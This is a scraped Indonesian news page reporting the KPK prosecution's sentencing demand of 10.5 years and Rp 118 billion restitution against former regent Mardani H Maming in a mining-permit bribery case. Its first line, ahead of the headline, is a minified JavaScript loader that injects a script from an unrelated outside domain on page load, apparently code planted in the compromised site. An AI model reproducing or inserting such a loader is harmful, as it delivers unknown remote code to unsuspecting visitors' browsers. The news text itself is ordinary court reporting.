(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dituntut 10,5 Tahun dan Uang Pengganti Rp 118 Miliar, Ini Pertimbangan yang Beratkan Mardani


KANALKALIMANTAN.COM, BANJARMASIN – Jaksa Penuntut Umum (JPU) KPK menuntut Mardani H Maming dengan pidana 10 tahun 6 bulan penjara dan denda Rp 700 juta subsider 8 bulan penjara atas dugaan suap Pengakuan Izin Usaha Pertambangan (IUP) Operasi Produksi (OP) dari PT BKPL kepada PT PCN.

Tuntutan tersebut dilayangkan JPU KPK kepada Mantan Bupati Tanah Bumbu dua periode tersebut pada Senin (9/1/2022) di Pengadilan Tipikor Banjarmasin.

“Terdakwa terbukti sesuai dakwaan alternatif pertama Pasal 12 b Jo Pasal 18, dengan pidana penjara 10 tahun 6 bulan dan denda 700 juta subsider 8 bulan kurungan,” katanya.

Mardani juga dibebankan membayar uang pengganti sebesar Rp 118 miliar, satu bulan pasca putusan inkrah dengan ketentuan jika tidak dapat mengganti harta bendanya dilelang atau diganti dengan pidana kurungan 5 tahun penjara.

 

Jaksa Penuntut Umum KPK, Budi Sarumpaet. Foto : rizki

Baca juga  : Mardani Maming Dituntut 10 Tahun Penjara, Uang Pengganti Rp 118 Miliar

Dalam analisis yuridis pada surat tuntutan 756 halaman tersebut, menurut JPU, unsur menerima hadiah telah terbukti secara sah dan meyakinkan dilakukan Terdakwa Mardani H Maming.

“Unsur menerima hadiah telah nyata selesai dilakukan secara sempurna oleh terdakwa,” kata JPU saat membaca surat Tuntutan.

Terikat Pertimbangan JPU, Budi Sarumpaet mengatakan terdapat hal-hak yang memberatkan Terdakwa. Antara lain, Mardani Maming tidak mendukung program pemerintah dan berbelit-belit dipersidangan.

“Hal yang memberatkan, terdakwa tidak mendukung program pemerintah dalam pemberantasan korupsi, kemudian terdakwa berbelit-belit dalam memberi keterangan di depan persidangan,” ujar Budi Sarumpaet.

Baca juga  : ‘Bola Liar’ Pemindahan Ibu Kota Marabahan, Begini Pandangan Tiga Mantan Bupati Batola

Sementara itu juga terdapat hal yang meringankan terdakwa yaitu karena menurut JPU Mardani tidak pernah ditahan sebelumnya dan mempunyai tanggungan keluarga.

Sementara itu Terdakwa melalui penasihat hukumnya setelah pembacaan tuntutan meminta waktu selama 2 Minggu kepada majelis hakim untuk menyusun nota pembelaan.

“Menurut kami berat sekali tuntutannya, makanya kami minta waktu cukup panjang karena banyak fakta seolah-olah itu fakta hukum padahal itu mengaburkan fakta yang sebenarnya,” ujar Penasehat Hukum Mardani, Ade Yayan.

“Banyak fakta-fakta yang sebenarnya bukan fakta hukum, nanti kami akan sampaikan dalam nota pembelaan,” tegasnya.

Sidang dengan agenda pledoy (pembelaan) dari terdakwa diputuskan Majelis Hakim yang diketuai Hero Kuntjoro akan digelar pada Rabu (25/1/2022). (Kanalkalimantan.com/rizki)

Reporter  : rizki
Editor : cell


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

12 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

17 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

17 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.